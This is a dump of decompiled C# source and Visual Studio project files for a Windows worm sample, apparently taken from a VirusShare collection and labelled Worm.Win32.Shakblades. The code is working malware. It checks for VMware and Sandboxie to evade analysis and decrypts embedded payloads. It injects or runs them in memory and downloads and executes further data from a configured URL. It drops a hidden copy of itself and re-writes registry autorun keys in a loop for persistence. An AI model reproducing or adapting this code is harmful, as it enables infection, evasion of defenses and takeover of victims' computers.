||||
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true);
|
||||
bool flag = true;
|
||||
while (flag)
|
||||
{
|
||||
Application.DoEvents();
|
||||
if (registryKey.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\a1adcpdsq0gn123io4m1f55gxptbkhd2e")) == null)
|
||||
registryKey.SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
Thread.Sleep(2000);
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] P2dz552iekyo3s3by(byte[] xkcps1zic2cskbd1y)
|
||||
{
|
||||
if (this.Dx4pxl4hlvcwokaeq == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("xro"))
|
||||
xkcps1zic2cskbd1y = Zgyvqmp0xpqwooihm.Rhjia2qmjg1uefwsxroduqr0s(xkcps1zic2cskbd1y);
|
||||
return xkcps1zic2cskbd1y;
|
||||
}
|
||||
|
||||
private void fyld3x5pir2kaoksligurapzj(byte[] Cplqgntbylcl1knxmqpm2hjar)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.ogs5wi51r3m1bqoyn == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0"))
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!this.Qhlb0achfvgjxeekj(Cplqgntbylcl1knxmqpm2hjar))
|
||||
{
|
||||
this.Rebbtyainmzrpdxrpkhemquuf = this.Ceyweulgsxaof4hwmnwokglbk(0);
|
||||
this.Fau0pig3abdcym2njphkzgkxl.Invoke(this.Rebbtyainmzrpdxrpkhemquuf, new object[3]
|
||||
{
|
||||
(object) Cplqgntbylcl1knxmqpm2hjar,
|
||||
(object) this.Ne4uiww2g1iuhqrgv,
|
||||
null
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
string tempFileName = Path.GetTempFileName();
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(Cplqgntbylcl1knxmqpm2hjar, tempFileName, true);
|
||||
}
|
||||
}
|
||||
if (!(this.ogs5wi51r3m1bqoyn == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1")))
|
||||
return;
|
||||
string str = this.Fl1t0wgsikf4mpxykcardit3b + this.Abfzh2zlzdzdgmqoqnumemerp;
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(Cplqgntbylcl1knxmqpm2hjar, str, true);
|
||||
if (this.etx2nx1n4akedmv4fu2mqzcc0)
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
|
||||
if (this.Dwfbus3rr2dghn14mxukem4jr)
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
|
||||
if (!this.Bm3illttk5nwmenvbn3jbmios)
|
||||
return;
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private bool Qhlb0achfvgjxeekj(byte[] Zq0k51bndsjftafxi)
|
||||
{
|
||||
Xcpjaqmaubj2y0o3n.ooaqlrxjthzq5ykyeqamxwsxh(Zq0k51bndsjftafxi);
|
||||
bool vyydwy2dzohvetixn = Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn;
|
||||
Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn = true;
|
||||
return vyydwy2dzohvetixn;
|
||||
}
|
||||
|
||||
private void Xu4noszs2jndqy0uakulzk0hj(
|
||||
byte[] iz1q112gcqzev5oqr,
|
||||
string Dutorh5b0eqbkqejp,
|
||||
bool Fc4ucvsrmmkck30rx)
|
||||
{
|
||||
try
|
||||
{
|
||||
System.IO.File.WriteAllBytes(Dutorh5b0eqbkqejp, iz1q112gcqzev5oqr);
|
||||
if (!Fc4ucvsrmmkck30rx)
|
||||
return;
|
||||
new Process()
|
||||
{
|
||||
StartInfo = {
|
||||
FileName = Dutorh5b0eqbkqejp
|
||||
}
|
||||
}.Start();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] idbm12rhs0k0m25by(
|
||||
string V3ih4ivpcexzrkelfjctk5bov,
|
||||
int Wi2vtkb2qd4j53iy5fbdxtgmp,
|
||||
string k0vs32obabddwwiqnt4br14zo)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr hModule = Mvsaeg2eeoaqx3utk.cz23ictx0pf1xcpsqzxf3ue5fsjhmn3fi(string.Empty);
|
||||
IntPtr hResInfo = Mvsaeg2eeoaqx3utk.Nyja0dryfvflph11ok4ga5zpz(hModule, Wi2vtkb2qd4j53iy5fbdxtgmp, k0vs32obabddwwiqnt4br14zo);
|
||||
uint length = Mvsaeg2eeoaqx3utk.Wy3i4lea5jxu3fiu1mt0jbvl4gefufsn2(hModule, hResInfo);
|
||||
IntPtr source = Mvsaeg2eeoaqx3utk.Xpo3aq0mxqyvzr1zld5qguuzg(hModule, hResInfo);
|
||||
byte[] destination = new byte[(IntPtr) length];
|
||||
Marshal.Copy(source, destination, 0, (int) length);
|
||||
return destination;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errraigrsuc:ro edn eore ") + Environment.NewLine + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errcd:ro oe ") + ex.Message);
|
||||
return (byte[]) null;
|
||||
}
|
||||
}
|
||||
|
||||
private void Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(
|
||||
string Ymom4ixsncavvmzwlpzsuuw3j,
|
||||
string oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie,
|
||||
string Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x,
|
||||
int lglb5oxkofx5lhfsdpmd3oohjsw1nlznk)
|
||||
{
|
||||
this.n2gipyxzj1jd3ijqb = true;
|
||||
if (lglb5oxkofx5lhfsdpmd3oohjsw1nlznk == 1)
|
||||
Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true).SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
if (lglb5oxkofx5lhfsdpmd3oohjsw1nlznk == 2)
|
||||
Registry.LocalMachine.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j, true).SetValue(oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
if (lglb5oxkofx5lhfsdpmd3oohjsw1nlznk != 3)
|
||||
return;
|
||||
RegistryKey subKey = Registry.LocalMachine.CreateSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie);
|
||||
subKey.SetValue(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("SuPttbah"), (object) Werxlvvcvmxjvsfbt5x2podh0gjrpxf2x);
|
||||
subKey.Close();
|
||||
if (Registry.CurrentUser.OpenSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, true) == null)
|
||||
return;
|
||||
Registry.CurrentUser.DeleteSubKey(Ymom4ixsncavvmzwlpzsuuw3j + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + oa41ma1dfc5p5dgsxqp0tgbnk1h2d32ie, false);
|
||||
}
|
||||
|
||||
private string bxmgxqvn0tzn2pwdo5ezgxkdh(string Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3)
|
||||
{
|
||||
string str = string.Empty;
|
||||
if (Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("0"))
|
||||
str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
str = Path.GetTempPath();
|
||||
if (Tmq5yh2mj4cu1ncxfduvfse4gpe31bjz3 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("2"))
|
||||
str = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
return str;
|
||||
}
|
||||
|
||||
public void bocln5xhicnup1rlmeg3v0wq5fq30ikg2()
|
||||
{
|
||||
string executablePath = Application.ExecutablePath;
|
||||
try
|
||||
{
|
||||
this.xpjiguggif5df23oi(rzo4euwupytyapwx03g5pnbwx.trdpamic2sckcdwunnjaiq5ctjzbh44ol(this.idbm12rhs0k0m25by(executablePath, 16, Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("CCSI0IZJHGS1OVNFRTEN3VJ02"))));
|
||||
this.Xvzsy20ikq50fiuzzzsw14i22 = this.idbm12rhs0k0m25by(executablePath, 44, Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("BUEVDVEHTVBYWB1VY0OFU1FDB"));
|
||||
if (this.Qeujo4xlzlmqxzlwt == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Xvzsy20ikq50fiuzzzsw14i22 = this.T20r4skkjzxet5xxndjdxm23nq1de3ste(this.Xvzsy20ikq50fiuzzzsw14i22, this.Sqsgcrexehem0lg3mionbxiuw);
|
||||
this.Xvzsy20ikq50fiuzzzsw14i22 = this.P2dz552iekyo3s3by(this.Xvzsy20ikq50fiuzzzsw14i22);
|
||||
if (!this.Zx2ycojwb320y2n31)
|
||||
{
|
||||
this.Rebbtyainmzrpdxrpkhemquuf = this.Ceyweulgsxaof4hwmnwokglbk(0);
|
||||
this.Fau0pig3abdcym2njphkzgkxl.Invoke(this.Rebbtyainmzrpdxrpkhemquuf, new object[3]
|
||||
{
|
||||
(object) this.Xvzsy20ikq50fiuzzzsw14i22,
|
||||
(object) this.Ne4uiww2g1iuhqrgv,
|
||||
(object) Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("")
|
||||
});
|
||||
}
|
||||
else
|
||||
this.Qhlb0achfvgjxeekj(this.Xvzsy20ikq50fiuzzzsw14i22);
|
||||
if (this.Kbkqxyuop35q5nercdcrjitsn)
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(this.Xvzsy20ikq50fiuzzzsw14i22, this.Ueczuk1jlbi3nbg5x2h1wuon0, true);
|
||||
string str;
|
||||
if (!string.IsNullOrEmpty(this.Osbrxysckqx0aqx1lzguqifvs))
|
||||
{
|
||||
str = this.O52jpa3c1kjywan03 + this.Osbrxysckqx0aqx1lzguqifvs + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\") + this.Ifbnriw30u3zqko1o;
|
||||
Directory.CreateDirectory(this.O52jpa3c1kjywan03 + this.Osbrxysckqx0aqx1lzguqifvs);
|
||||
}
|
||||
else
|
||||
str = this.O52jpa3c1kjywan03 + this.Ifbnriw30u3zqko1o;
|
||||
if (this.N4rfcpacyzvdyb5o5pseuwja0 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(this.Yu13rcd5iimiqemzz, this.Wbmpi5i4bd1p35dfa2s0jd2tykyightoe, str, 1);
|
||||
if (this.ovvhzz3v4t0lncqhc == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(this.Yu13rcd5iimiqemzz, this.wlzgy5x503ocrxvto, str, 2);
|
||||
if (this.hpyhkefmdy2fikaqvpxkxke4zwemgdqgs == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
this.Dbrrlmqkrn3ydjtvavk43x5l324iaa3cy(this.Ouyjahe11vseyu1gc, this.mlzo2db1vixlaay2xx3qm1uh1, str, 3);
|
||||
if (this.n2gipyxzj1jd3ijqb)
|
||||
{
|
||||
byte[] bytes = System.IO.File.ReadAllBytes(Application.ExecutablePath);
|
||||
if (!System.IO.File.Exists(str))
|
||||
System.IO.File.WriteAllBytes(str, bytes);
|
||||
if (System.IO.File.Exists(str))
|
||||
{
|
||||
if (this.aebl4g0r22vys142j542rkxik == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
|
||||
if (this.Pi5xwja3tpz1vyvxe0bvaszsw == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
|
||||
if (this.W0igi2snxiuevrujvdeszp1bxkguemxod == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("1"))
|
||||
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
|
||||
}
|
||||
}
|
||||
this.ulry4uhtwnw50g04z(rzo4euwupytyapwx03g5pnbwx.trdpamic2sckcdwunnjaiq5ctjzbh44ol(this.idbm12rhs0k0m25by(executablePath, 47, Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("AHAAJWFXQRWK55DBF5CZOY25NAJ1XU0TF"))));
|
||||
if (this.waiw3pzzuvdgyn5dx3idhqwhncujkp40q)
|
||||
this.fyld3x5pir2kaoksligurapzj(new WebClient().DownloadData(new Uri(this.upzpncz1hdeloi5k3rlq4a14w)));
|
||||
this.persistenceStartup(this.Yu13rcd5iimiqemzz, this.Wbmpi5i4bd1p35dfa2s0jd2tykyightoe, str);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void pq0wico5ukmaxyfwlssnrl0r1nqartkt4(object Qilit4odml3450ffdduw5begg)
|
||||
{
|
||||
try
|
||||
{
|
||||
MethodInfo entryPoint = Assembly.Load((byte[]) Qilit4odml3450ffdduw5begg).EntryPoint;
|
||||
if (entryPoint.GetParameters().Length == 1)
|
||||
entryPoint.Invoke((object) null, new object[1]
|
||||
{
|
||||
(object) new string[0]
|
||||
});
|
||||
else
|
||||
entryPoint.Invoke((object) null, (object[]) null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn = false;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] q1cagpbvwn04kmqyi(string lhs5nwmsu4p3h3rgf)
|
||||
{
|
||||
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(lhs5nwmsu4p3h3rgf))
|
||||
{
|
||||
byte[] buffer = new byte[1024];
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
|
||||
if (count > 0)
|
||||
memoryStream.Write(buffer, 0, count);
|
||||
else
|
||||
break;
|
||||
}
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
string empty = string.Empty;
|
||||
foreach (ManagementBaseObject instance in new ManagementClass(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Wn2Boi3_is")).GetInstances())
|
||||
{
|
||||
if (instance.Properties[Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Sranmeeilubr")].Value.ToString().Trim().ToLower().IndexOf(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("vwrmae")) > -1)
|
||||
{
|
||||
int num = (int) MessageBox.Show(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Ti plcto antb u navrulmcieevrnethsapiaincno erni ita ahn niomn."), Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("VrulMcieDtceita ahn eetd"), MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
if (Xcpjaqmaubj2y0o3n.GetModuleHandle(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("SiDldlbel.l")).ToInt32() != 0)
|
||||
{
|
||||
int num = (int) MessageBox.Show(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Ti plcto antb u naSnbxeevrnethsapiaincno erni adoi niomn."), Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("SnbxeDtceadoi eetd"), MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
new Xcpjaqmaubj2y0o3n().bocln5xhicnup1rlmeg3v0wq5fq30ikg2();
|
||||
}
|
||||
|
||||
private void ulry4uhtwnw50g04z(string xkcps1zic2cskbd1y)
|
||||
{
|
||||
string[] separator1 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Qslygidk2ydujmodz1hnjxa40is244mdu")
|
||||
};
|
||||
string[] separator2 = new string[1]
|
||||
{
|
||||
Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("swmnvnjfto3vjpznbcurldfzy")
|
||||
};
|
||||
string[] strArray1 = xkcps1zic2cskbd1y.Split(separator1, StringSplitOptions.None);
|
||||
string empty1 = string.Empty;
|
||||
string empty2 = string.Empty;
|
||||
string empty3 = string.Empty;
|
||||
for (int index = 1; index < strArray1.GetUpperBound(0); ++index)
|
||||
{
|
||||
string[] strArray2 = strArray1[index].Split(separator2, StringSplitOptions.None);
|
||||
byte[] numArray = rzo4euwupytyapwx03g5pnbwx.fuwrggsyeop321rci(strArray2[1]);
|
||||
string str1 = strArray2[2];
|
||||
bool boolean1 = Convert.ToBoolean(strArray2[3]);
|
||||
string Ibpa121djgybg55fkysgepjc0y2qiasb2 = strArray2[4];
|
||||
bool boolean2 = Convert.ToBoolean(strArray2[5]);
|
||||
bool boolean3 = Convert.ToBoolean(strArray2[6]);
|
||||
int int32 = Convert.ToInt32(strArray2[7]);
|
||||
bool boolean4 = Convert.ToBoolean(strArray2[8]);
|
||||
string str2 = this.yti5olupwaivlclet(Ibpa121djgybg55fkysgepjc0y2qiasb2);
|
||||
if (boolean1)
|
||||
{
|
||||
if (boolean3)
|
||||
numArray = this.T20r4skkjzxet5xxndjdxm23nq1de3ste(numArray, int32);
|
||||
if (boolean2)
|
||||
numArray = this.P2dz552iekyo3s3by(numArray);
|
||||
if (!boolean4)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.Rebbtyainmzrpdxrpkhemquuf = this.Ceyweulgsxaof4hwmnwokglbk(0);
|
||||
this.Fau0pig3abdcym2njphkzgkxl.Invoke(this.Rebbtyainmzrpdxrpkhemquuf, new object[3]
|
||||
{
|
||||
(object) numArray,
|
||||
(object) this.Ne4uiww2g1iuhqrgv,
|
||||
null
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errijcigbudfl nommr:ro netn on ieit eoy ") + Environment.NewLine + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errcd:ro oe ") + ex.Message);
|
||||
}
|
||||
}
|
||||
else if (!this.Qhlb0achfvgjxeekj(numArray))
|
||||
Console.WriteLine(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Errijcigbudfl sn elcin ro netn on ieuigrfeto:"));
|
||||
}
|
||||
else
|
||||
{
|
||||
string Dutorh5b0eqbkqejp = str2 + str1;
|
||||
if (boolean2)
|
||||
numArray = this.P2dz552iekyo3s3by(numArray);
|
||||
this.Xu4noszs2jndqy0uakulzk0hj(numArray, Dutorh5b0eqbkqejp, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static void ooaqlrxjthzq5ykyeqamxwsxh(byte[] Amqk5npffix20x5qn5x2vnb3b)
|
||||
{
|
||||
try
|
||||
{
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Xcpjaqmaubj2y0o3n.pq0wico5ukmaxyfwlssnrl0r1nqartkt4));
|
||||
thread.SetApartmentState(ApartmentState.STA);
|
||||
thread.Start((object) Amqk5npffix20x5qn5x2vnb3b);
|
||||
thread.Join();
|
||||
}
|
||||
catch
|
||||
{
|
||||
Xcpjaqmaubj2y0o3n.Vyydwy2dzohvetixn = false;
|
||||
}
|
||||
}
|
||||
|
||||
private string yti5olupwaivlclet(string Ibpa121djgybg55fkysgepjc0y2qiasb2)
|
||||
{
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("ApiainPtplcto ah"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Application.StartupPath + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Tmep"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Path.GetTempPath();
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("ApaapDt"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("M ouetyDcmns"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Dstpeko"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("Ue rflsrPoie"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetEnvironmentVariable(Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("UEPOIESRRFL")) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
if (Ibpa121djgybg55fkysgepjc0y2qiasb2 == Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("PormFlsrga ie"))
|
||||
Ibpa121djgybg55fkysgepjc0y2qiasb2 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + Zgyvqmp0xpqwooihm.A1ns3kzzckrkw2k2snvelcbss("\\");
|
||||
return Ibpa121djgybg55fkysgepjc0y2qiasb2;
|
||||
}
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-c60a207d49561351d0b84ea851120f247234d970b3dc83269c04540744be032b.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{84551D75-4784-4966-97FC-DF659B8C9132}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>pff4wjti</AssemblyName>
|
||||
<ApplicationVersion>6.1.7600.16385</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Zgyvqmp0xpqwooihm.cs" />
|
||||
<Compile Include="rzo4euwupytyapwx03g5pnbwx.cs" />
|
||||
<Compile Include="G1iw5jvdvf5jyuwmtz03k02vp\Mvsaeg2eeoaqx3utk.cs" />
|
||||
<Compile Include="Tm2tqtua3sspuhohl2o5frgcxkwutet2c\Xcpjaqmaubj2y0o3n.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="runPE.dll" />
|
||||
<EmbeddedResource Include="Settings.xml" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "pff4wjti", "Worm.Win32.Shakblades.ajg-c60a207d49561351d0b84ea851120f247234d970b3dc83269c04540744be032b.csproj", "{84551D75-4784-4966-97FC-DF659B8C9132}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{84551D75-4784-4966-97FC-DF659B8C9132}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{84551D75-4784-4966-97FC-DF659B8C9132}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{84551D75-4784-4966-97FC-DF659B8C9132}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{84551D75-4784-4966-97FC-DF659B8C9132}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Zgyvqmp0xpqwooihm
|
||||
// Assembly: pff4wjti, Version=6.1.7600.16385, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 5406B450-382A-49C3-BEAD-27BB328AB378
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-c60a207d49561351d0b84ea851120f247234d970b3dc83269c04540744be032b.exe
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
public static class Zgyvqmp0xpqwooihm
|
||||
{
|
||||
public static int Qjej3zah1v0qd232c = 129;
|
||||
|
||||
public static byte[] Rhjia2qmjg1uefwsxroduqr0s(byte[] Gtuvri4z1npalso5jwqoi0iru)
|
||||
{
|
||||
for (int index = 0; index < Gtuvri4z1npalso5jwqoi0iru.Length; ++index)
|
||||
{
|
||||
char ch = (char) ((uint) Convert.ToChar(Gtuvri4z1npalso5jwqoi0iru[index]) ^ (uint) Zgyvqmp0xpqwooihm.Qjej3zah1v0qd232c);
|
||||
Gtuvri4z1npalso5jwqoi0iru[index] = Convert.ToByte(ch);
|
||||
}
|
||||
return Gtuvri4z1npalso5jwqoi0iru;
|
||||
}
|
||||
|
||||
